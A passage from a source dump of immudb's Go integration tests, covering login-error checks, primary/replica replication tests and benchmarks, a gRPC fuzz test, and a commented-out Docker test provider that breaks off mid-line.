&schema.DeleteDatabaseRequest{Database: "db2"}) require.Contains(t, err.Error(), "database does not exist") }) t.Run("attempt to delete a closed database should succeed", func(t *testing.T) { _, err := client.DeleteDatabase(ctx, &schema.DeleteDatabaseRequest{Database: "db1"}) require.NoError(t, err) }) err = client.CloseSession(ctx) require.NoError(t, err) } ================================================ FILE: pkg/integration/error_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "testing" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" "github.com/stretchr/testify/require" ) func TestGRPCError(t *testing.T) { t.Setenv("LOG_LEVEL", "debug") bs, cli, _ := setupTestServerAndClientWithToken(t) t.Run("errors with token-based auth", func(t *testing.T) { _, err := cli.Login(context.Background(), []byte(`immudb`), []byte(`wrong`)) require.Equal(t, err.(errors.ImmuError).Error(), "invalid user name or password") require.Equal(t, err.(errors.ImmuError).Cause(), "crypto/bcrypt: hashedPassword is not the hash of the given password") require.Equal(t, err.(errors.ImmuError).Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection) require.Equal(t, int32(0), err.(errors.ImmuError).RetryDelay()) require.NotNil(t, err.(errors.ImmuError).Stack()) }) t.Run("errors with session-based auth", func(t *testing.T) { cli := bs.NewClient(client.DefaultOptions()) err := cli.OpenSession(context.Background(), []byte(`immudb`), []byte(`wrong`), "defaultdb") require.Equal(t, err.(errors.ImmuError).Error(), "invalid user name or password") require.Equal(t, err.(errors.ImmuError).Cause(), "crypto/bcrypt: hashedPassword is not the hash of the given password") require.Equal(t, err.(errors.ImmuError).Code(), errors.CodSqlserverRejectedEstablishmentOfSqlconnection) require.Equal(t, int32(0), err.(errors.ImmuError).RetryDelay()) require.NotNil(t, err.(errors.ImmuError).Stack()) }) } ================================================ FILE: pkg/integration/follower_replication_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package integration import ( "context" "encoding/binary" "fmt" "net" "strings" "sync" "testing" "time" "github.com/codenotary/immudb/embedded" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func TestReplication(t *testing.T) { //init primary server primaryDir := t.TempDir() primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(primaryDir) primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) err := primaryServer.Initialize() require.NoError(t, err) //init replica server replicaDir := t.TempDir() replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(replicaDir) replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) err = replicaServer.Initialize() require.NoError(t, err) go func() { primaryServer.Start() }() go func() { replicaServer.Start() }() time.Sleep(1 * time.Second) // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port primaryOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(primaryPort) primaryClient := ic.NewClient().WithOptions(primaryOpts) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) // create database as primarydb in primary server _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: 1}, }, }) require.NoError(t, err) err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") require.NoError(t, err) defer primaryClient.CloseSession(context.Background()) err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") require.NoError(t, err) err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) _, err = primaryClient.ExportTx(context.Background(), &schema.ExportTxRequest{ Tx: uint64(1), AllowPreCommitted: false, SkipIntegrityCheck: true, ReplicaState: &schema.ReplicaState{}, }) require.NoError(t, err) // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port replicaOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(replicaPort) replicaClient := ic.NewClient().WithOptions(replicaOpts) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) // create database as replica in replica server _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: true}, PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, PrimaryUsername: &schema.NullableString{Value: "replicator"}, PrimaryPassword: &schema.NullableString{Value: "wrongPassword"}, }, }) require.NoError(t, err) time.Sleep(1 * time.Second) _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") require.NoError(t, err) t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) _, err = primaryClient.Set(context.Background(), []byte("key2"), []byte("value2")) require.NoError(t, err) time.Sleep(1 * time.Second) t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.NoError(t, err) }) err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) t.Run("key1 should not exist in defaultdb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) for i := 0; i < 100; i++ { _, err = primaryClient.Set(context.Background(), []byte("key1"), make([]byte, 150)) require.NoError(t, err) } // create database as replica in replica server _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb2", &schema.DatabaseNullableSettings{ MaxValueLen: &schema.NullableUint32{Value: 100}, ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: false}, PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, PrimaryUsername: &schema.NullableString{Value: "replicator"}, PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) time.Sleep(3 * time.Second) primaryServer.Stop() err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) time.Sleep(3 * time.Second) replicaServer.Stop() } func TestAsyncReplication(t *testing.T) { //init primary server primaryDir := t.TempDir() primaryServerOpts := server.DefaultOptions(). WithMetricsServer(true). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithPProf(true). WithDir(primaryDir) primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) err := primaryServer.Initialize() require.NoError(t, err) //init replica server replicaDir := t.TempDir() replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(replicaDir) replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) err = replicaServer.Initialize() require.NoError(t, err) go func() { primaryServer.Start() }() go func() { replicaServer.Start() }() time.Sleep(1 * time.Second) // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port primaryOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(primaryPort) primaryClient := ic.NewClient().WithOptions(primaryOpts) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) // create database as primarydb in primary server _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: false}, SyncAcks: &schema.NullableUint32{Value: 0}, }, }) require.NoError(t, err) err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") require.NoError(t, err) defer primaryClient.CloseSession(context.Background()) err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") require.NoError(t, err) err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port replicaOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(replicaPort) replicaClient := ic.NewClient().WithOptions(replicaOpts) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) // create database as replica in replica server _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: false}, PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, PrimaryUsername: &schema.NullableString{Value: "replicator"}, PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) time.Sleep(1 * time.Second) err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") require.NoError(t, err) keyCount := 100 for i := 0; i < keyCount; i++ { ei := keyCount + i _, err = primaryClient.Set(context.Background(), []byte(fmt.Sprintf("key%d", ei)), []byte(fmt.Sprintf("value%d", ei))) require.NoError(t, err) } err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) time.Sleep(5 * time.Second) // keys should exist in replicadb@replica" for i := 0; i < keyCount; i++ { ei := keyCount + i _, err = replicaClient.Get(context.Background(), []byte(fmt.Sprintf("key%d", ei))) require.NoError(t, err) } err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) replicaServer.Stop() primaryServer.Stop() } func TestReplicationTxDiscarding(t *testing.T) { //init primary server primaryDir := t.TempDir() primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(primaryDir) primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) err := primaryServer.Initialize() require.NoError(t, err) //init replica server replicaDir := t.TempDir() replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(replicaDir) replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) err = replicaServer.Initialize() require.NoError(t, err) go func() { primaryServer.Start() }() go func() { replicaServer.Start() }() time.Sleep(1 * time.Second) // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port primaryOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(primaryPort) primaryClient := ic.NewClient().WithOptions(primaryOpts) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) // create database as primarydb in primary server _, err = primaryClient.CreateDatabaseV2(context.Background(), "primarydb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: 1}, }, }) require.NoError(t, err) err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "primarydb") require.NoError(t, err) defer primaryClient.CloseSession(context.Background()) err = primaryClient.CreateUser(context.Background(), []byte("replicator"), []byte("replicator1Pwd!"), auth.PermissionAdmin, "primarydb") require.NoError(t, err) err = primaryClient.SetActiveUser(context.Background(), &schema.SetActiveUserRequest{Active: true, Username: "replicator"}) require.NoError(t, err) // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port replicaOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(replicaPort) replicaClient := ic.NewClient().WithOptions(replicaOpts) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) _, err = replicaClient.CreateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: false}, SyncReplication: &schema.NullableBool{Value: true}, SyncAcks: &schema.NullableUint32{Value: 1}, }, }) require.NoError(t, err) err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "replicadb") require.NoError(t, err) ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second) defer cancel() _, err = replicaClient.Set(ctx, []byte("key1"), []byte("value1")) require.Error(t, err) _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ Replica: &schema.NullableBool{Value: true}, SyncReplication: &schema.NullableBool{Value: true}, AllowTxDiscarding: &schema.NullableBool{Value: false}, PrimaryDatabase: &schema.NullableString{Value: "primarydb"}, PrimaryHost: &schema.NullableString{Value: "127.0.0.1"}, PrimaryPort: &schema.NullableUint32{Value: uint32(primaryPort)}, PrimaryUsername: &schema.NullableString{Value: "replicator"}, PrimaryPassword: &schema.NullableString{Value: "replicator1Pwd!"}, }, }) require.NoError(t, err) time.Sleep(1 * time.Second) _, err = replicaClient.UpdateDatabaseV2(context.Background(), "replicadb", &schema.DatabaseNullableSettings{ ReplicationSettings: &schema.ReplicationNullableSettings{ AllowTxDiscarding: &schema.NullableBool{Value: true}, }, }) require.NoError(t, err) time.Sleep(1 * time.Second) t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) _, err = primaryClient.Set(context.Background(), []byte("key11"), []byte("value11")) require.NoError(t, err) time.Sleep(5 * time.Second) t.Run("key1 should exist in replicadb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key11")) require.NoError(t, err) }) err = replicaClient.CloseSession(context.Background()) require.NoError(t, err) err = primaryClient.CloseSession(context.Background()) require.NoError(t, err) replicaServer.Stop() primaryServer.Stop() } func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary server primaryDir := t.TempDir() primaryServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(primaryDir) primaryServer := server.DefaultServer().WithOptions(primaryServerOpts).(*server.ImmuServer) err := primaryServer.Initialize() require.NoError(t, err) go func() { primaryServer.Start() }() time.Sleep(1 * time.Second) defer primaryServer.Stop() // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port primaryClientOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(primaryPort) primaryClient := ic.NewClient().WithOptions(primaryClientOpts) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) defer primaryClient.CloseSession(context.Background()) // init replica server replicaDir := t.TempDir() replicationOpts := &server.ReplicationOptions{ IsReplica: true, PrimaryHost: "127.0.0.1", PrimaryPort: primaryPort, PrimaryUsername: "immudb", PrimaryPassword: "immudb", PrefetchTxBufferSize: 100, ReplicationCommitConcurrency: 1, } replicaServerOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithDir(replicaDir). WithReplicationOptions(replicationOpts) replicaServer := server.DefaultServer().WithOptions(replicaServerOpts).(*server.ImmuServer) err = replicaServer.Initialize() require.NoError(t, err) go func() { replicaServer.Start() }() time.Sleep(1 * time.Second) defer replicaServer.Stop() // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port replicaClientOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(replicaPort) replicaClient := ic.NewClient().WithOptions(replicaClientOpts) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(t, err) defer replicaClient.CloseSession(context.Background()) t.Run("key1 should not exist", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.ErrorContains(t, err, embedded.ErrKeyNotFound.Error()) }) _, err = primaryClient.Set(context.Background(), []byte("key1"), []byte("value1")) require.NoError(t, err) time.Sleep(5 * time.Second) t.Run("key1 should exist in replicateddb@replica", func(t *testing.T) { _, err = replicaClient.Get(context.Background(), []byte("key1")) require.NoError(t, err) }) _, err = replicaClient.Set(context.Background(), []byte("key2"), []byte("value2")) require.ErrorContains(t, err, database.ErrIsReplica.Error()) } func BenchmarkExportTx(b *testing.B) { //init server serverOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithMaxRecvMsgSize(204939000). WithSynced(false). WithDir(b.TempDir()) serverOpts.SessionsOptions.WithMaxSessions(200) srv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() time.Sleep(1 * time.Second) // init primary client port := srv.Listener.Addr().(*net.TCPAddr).Port opts := ic.DefaultOptions(). WithDir(b.TempDir()). WithPort(port) client := ic.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { panic(err) } // create database as primarydb in primary server _, err = client.CreateDatabaseV2(context.Background(), "db1", &schema.DatabaseNullableSettings{ MaxConcurrency: &schema.NullableUint32{Value: 200}, VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache }) if err != nil { panic(err) } err = client.CloseSession(context.Background()) if err != nil { panic(err) } err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") if err != nil { panic(err) } defer client.CloseSession(context.Background()) // commit some transactions workers := 10 txsPerWorker := 100 entriesPerTx := 100 keyLen := 40 valLen := 256 kvs := make([]*schema.KeyValue, entriesPerTx) for i := 0; i < entriesPerTx; i++ { kvs[i] = &schema.KeyValue{ Key: make([]byte, keyLen), Value: make([]byte, valLen), } binary.BigEndian.PutUint64(kvs[i].Key, uint64(i)) } var wg sync.WaitGroup wg.Add(workers) for i := 0; i < workers; i++ { go func() { for j := 0; j < txsPerWorker; j++ { _, err := client.SetAll(context.Background(), &schema.SetRequest{ KVs: kvs, }) if err != nil { panic(err) } } wg.Done() }() } wg.Wait() replicators := 1 txsPerReplicator := workers * txsPerWorker / replicators clientReplicators := make([]ic.ImmuClient, replicators) for r := 0; r < replicators; r++ { opts := ic.DefaultOptions(). WithDir(b.TempDir()). WithPort(port) client := ic.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") if err != nil { panic(err) } defer client.CloseSession(context.Background()) clientReplicators[r] = client } streamServiceFactory := stream.NewStreamServiceFactory(replication.DefaultChunkSize) b.ResetTimer() // measure exportTx performance for i := 0; i < b.N; i++ { var wg sync.WaitGroup wg.Add(replicators) for r := 0; r < replicators; r++ { go func(r int) { defer wg.Done() client := clientReplicators[r] for tx := 1; tx <= txsPerReplicator; tx++ { exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ Tx: uint64(1 + r*txsPerReplicator + tx), AllowPreCommitted: false, SkipIntegrityCheck: true, }) if err != nil { panic(err) } receiver := streamServiceFactory.NewMsgReceiver(exportTxStream) _, _, err = receiver.ReadFully() if err != nil { panic(err) } } }(r) } wg.Wait() } } func BenchmarkStreamExportTx(b *testing.B) { //init server serverOpts := server.DefaultOptions(). WithMetricsServer(false). WithWebServer(false). WithPgsqlServer(false). WithPort(0). WithMaxRecvMsgSize(204939000). WithSynced(false). WithDir(b.TempDir()) serverOpts.SessionsOptions.WithMaxSessions(200) srv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer) err := srv.Initialize() if err != nil { panic(err) } go func() { srv.Start() }() defer func() { srv.Stop() }() time.Sleep(1 * time.Second) // init primary client port := srv.Listener.Addr().(*net.TCPAddr).Port opts := ic.DefaultOptions(). WithDir(b.TempDir()). WithPort(port) client := ic.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") if err != nil { panic(err) } // create database as primarydb in primary server _, err = client.CreateDatabaseV2(context.Background(), "db1", &schema.DatabaseNullableSettings{ MaxConcurrency: &schema.NullableUint32{Value: 200}, VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache }) if err != nil { panic(err) } err = client.CloseSession(context.Background()) if err != nil { panic(err) } err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") if err != nil { panic(err) } defer client.CloseSession(context.Background()) // commit some transactions workers := 10 txsPerWorker := 100 entriesPerTx := 100 keyLen := 40 valLen := 256 kvs := make([]*schema.KeyValue, entriesPerTx) for i := 0; i < entriesPerTx; i++ { kvs[i] = &schema.KeyValue{ Key: make([]byte, keyLen), Value: make([]byte, valLen), } binary.BigEndian.PutUint64(kvs[i].Key, uint64(i)) } var wg sync.WaitGroup wg.Add(workers) for i := 0; i < workers; i++ { go func() { for j := 0; j < txsPerWorker; j++ { _, err := client.SetAll(context.Background(), &schema.SetRequest{ KVs: kvs, }) if err != nil { panic(err) } } wg.Done() }() } wg.Wait() replicators := 1 txsPerReplicator := workers * txsPerWorker / replicators clientReplicators := make([]ic.ImmuClient, replicators) for r := 0; r < replicators; r++ { opts := ic.DefaultOptions(). WithDir(b.TempDir()). WithPort(port) client := ic.NewClient().WithOptions(opts) err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") if err != nil { panic(err) } defer client.CloseSession(context.Background()) clientReplicators[r] = client } b.ResetTimer() // measure exportTx performance for i := 0; i < b.N; i++ { var wg sync.WaitGroup wg.Add(replicators) for r := 0; r < replicators; r++ { go func(r int) { defer wg.Done() client := clientReplicators[r] streamExportTxClient, err := client.StreamExportTx(context.Background()) if err != nil { panic(err) } streamSrvFactory := stream.NewStreamServiceFactory(opts.StreamChunkSize) exportTxStreamReceiver := streamSrvFactory.NewMsgReceiver(streamExportTxClient) doneCh := make(chan struct{}) recvTxCount := 0 go func() { for { _, _, err := exportTxStreamReceiver.ReadFully() if err != nil { if strings.Contains(err.Error(), "EOF") { doneCh <- struct{}{} return } panic(err) } recvTxCount++ } }() for tx := 1; tx <= txsPerReplicator; tx++ { err = streamExportTxClient.Send(&schema.ExportTxRequest{ Tx: uint64(1 + r*txsPerReplicator + tx), AllowPreCommitted: false, SkipIntegrityCheck: true, }) if err != nil { panic(err) } } err = streamExportTxClient.CloseSend() if err != nil { panic(err) } <-doneCh if recvTxCount != txsPerReplicator { panic("recvTxCount != txsPerReplicator") } }(r) } wg.Wait() } } ================================================ FILE: pkg/integration/fuzzing/grpc_fuzz_test.go ================================================ //go:build go1.18 // +build go1.18 /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package fuzzing import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/golang/protobuf/proto" "github.com/stretchr/testify/require" "google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" ) const ( requestExecAll = 0 requestSet = 1 ) func addCorpus(f *testing.F, request byte, msg proto.Message) { b, err := proto.Marshal(msg) require.NoError(f, err) f.Add(append([]byte{request}, b...)) } func FuzzGRPCProtocol(f *testing.F) { options := server.DefaultOptions().WithDir(f.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() clientOpts := immudb. DefaultOptions(). WithDir(f.TempDir()). WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(bs.Dialer), grpc.WithTransportCredentials(insecure.NewCredentials())}) client := immudb.NewClient().WithOptions(clientOpts) err := client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") require.NoError(f, err) // Add few execall requests addCorpus(f, requestExecAll, &schema.ExecAllRequest{Operations: []*schema.Op{{ Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: []byte("key"), Value: []byte("value"), }, }, }}}) addCorpus(f, requestExecAll, &schema.ExecAllRequest{Operations: []*schema.Op{{ Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("ref"), ReferencedKey: []byte("key"), }, }, }}}) addCorpus(f, requestExecAll, &schema.ExecAllRequest{ Operations: []*schema.Op{ { Operation: &schema.Op_Ref{ Ref: &schema.ReferenceRequest{ Key: []byte("ref"), ReferencedKey: []byte("key"), }, }, }, }, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustExist([]byte("key1")), }, }) addCorpus(f, requestSet, &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, }) addCorpus(f, requestSet, &schema.SetRequest{ KVs: []*schema.KeyValue{{ Key: []byte("key"), Value: []byte("value"), }}, Preconditions: []*schema.Precondition{ schema.PreconditionKeyMustNotExist([]byte("key-does-not-exist")), }, }) f.Fuzz(func(t *testing.T, data []byte) { if len(data) < 1 { t.Skip() } switch data[0] { case requestExecAll: req := &schema.ExecAllRequest{} err := proto.Unmarshal(data[1:], req) if err != nil { t.Skip() } client.ExecAll(context.Background(), req) case requestSet: req := &schema.SetRequest{} err := proto.Unmarshal(data[1:], req) if err != nil { t.Skip() } client.SetAll(context.Background(), req) default: t.Skip() } }) } ================================================ FILE: pkg/integration/replication/docker.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package replication // import ( // "fmt" // "math/rand" // "net" // "os" // "strconv" // "testing" // "time" // "github.com/ory/dockertest/v3" // "github.com/ory/dockertest/v3/docker" // "github.com/rs/xid" // "github.com/stretchr/testify/require" // ) // func init() { // rand.Seed(time.Now().UnixNano()) // } // // dockerTestServerProvider creates docker test servers // type dockerTestServerProvider struct { // } // func (p *dockerTestServerProvider) AddServer(t *testing.T) TestServer { // pool, err := dockertest.NewPool("") // require.NoError(t, err) // ret := &dockerTestServer{ // pool: pool, // dir: t.TempDir(), // } // ret.Start(t) // return ret // } // // dockerTestServer represents an immudb docker test server // type dockerTestServer struct { // pool *dockertest.Pool // srv *dockertest.Resource // port int // dir string // } // func (s *dockerTestServer) Address(t *testing.T) (string, int) { // return getLocalIP(), s.port // } // func (s *dockerTestServer) UUID(t *testing.T) xid.ID { // panic("UUID unsupported in dockerTestServer") // } // func (s *dockerTestServer) Shutdown(t *testing.T) { // require.NotNil(t, s.srv) // require.NoError(t, s.pool.Purge(s.srv)) // // Wait for docker container to shutdown // time.Sleep(2 * time.Second) // s.srv = nil // } // // startContainer will run a container with the given options. // func (s *dockerTestServer) startContainer(t *testing.T, runOptions *dockertest.RunOptions) *dockertest.Resource { // // Make sure that there are no containers running from previous execution first // // This is to ensure there is no conflict in the container name. // // FIX: containers fail to purge successfully when created without a name // require.NoError(t, s.pool.RemoveContainerByName(runOptions.Name)) // image := fmt.Sprintf("%s:%s", runOptions.Repository, runOptions.Tag) // if runOptions.Tag == "latest" { // _, err := 